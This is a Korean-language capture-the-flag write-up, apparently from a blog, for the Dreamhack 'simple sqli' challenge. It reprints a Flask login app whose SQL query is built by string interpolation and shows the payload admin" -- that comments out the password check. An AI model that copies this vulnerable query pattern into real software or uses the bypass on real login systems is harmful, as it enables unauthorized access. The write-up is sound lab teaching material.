on
[Web Hacking] Dreamhack 문제풀이: simple sqli
[Web Hacking] Dreamhack 문제풀이: simple sqli
문제 풀이 간단 요약
1. app.py 코드를 열어 FLAG 획득 방법 확인
2. userid를 admin으로 바꿔 query하면 획득 가능
상세 풀이
app.py를 열어보면 아래 코드와 같습니다.
#!/usr/bin/python3 from flask import Flask, request, render_template, g import sqlite3 import os import binascii app = Flask(__name__) app.secret_key = os.urandom(32) try: FLAG = open('./flag.txt', 'r').read() except: FLAG = '[**FLAG**]' DATABASE = "database.db" if os.path.exists(DATABASE) == False: db = sqlite3.connect(DATABASE) db.execute('create table users(userid char(100), userpassword char(100));') db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");') db.commit() db.close() def get_db(): db = getattr(g, '_database', None) if db is None: db = g._database = sqlite3.connect(DATABASE) db.row_factory = sqlite3.Row return db def query_db(query, one=True): cur = get_db().execute(query) rv = cur.fetchall() cur.close() return (rv[0] if rv else None) if one else rv @app.teardown_appcontext def close_connection(exception): db = getattr(g, '_database', None) if db is not None: db.close() @app.route('/') def index(): return render_template('index.html') @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'GET': return render_template('login.html') else: userid = request.form.get('userid') userpassword = request.form.get('userpassword') res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"') if res: userid = res[0] if userid == 'admin': return f'hello {userid} flag is {FLAG}' return f'alert("hello {userid}");history.go(-1);' return 'alert("wrong");history.go(-1);' app.run(host='0.0.0.0', port=8000)
userid가 admin이면 FLAG를 출력하는 걸 알 수 있습니다.
select * from users where userid="{userid}" and userpassword="{userpassword}"
이 부분에서 userid를 admin으로 수정하면 됩니다.
where문에서 password 부분을 우회하는 방법은 여러가지가 있지만, --를 사용하여 주석 처리했습니다 (Mysql 주석)
select * from users where userid="admin" -- and userpassword="{userpassword}"
바뀐 쿼리문을 보내 FLAG를 획득할 수 있습니다.
from http://kozeldark.tistory.com/159 by ccl(A) rewrite - 2021-07-10 18:00:30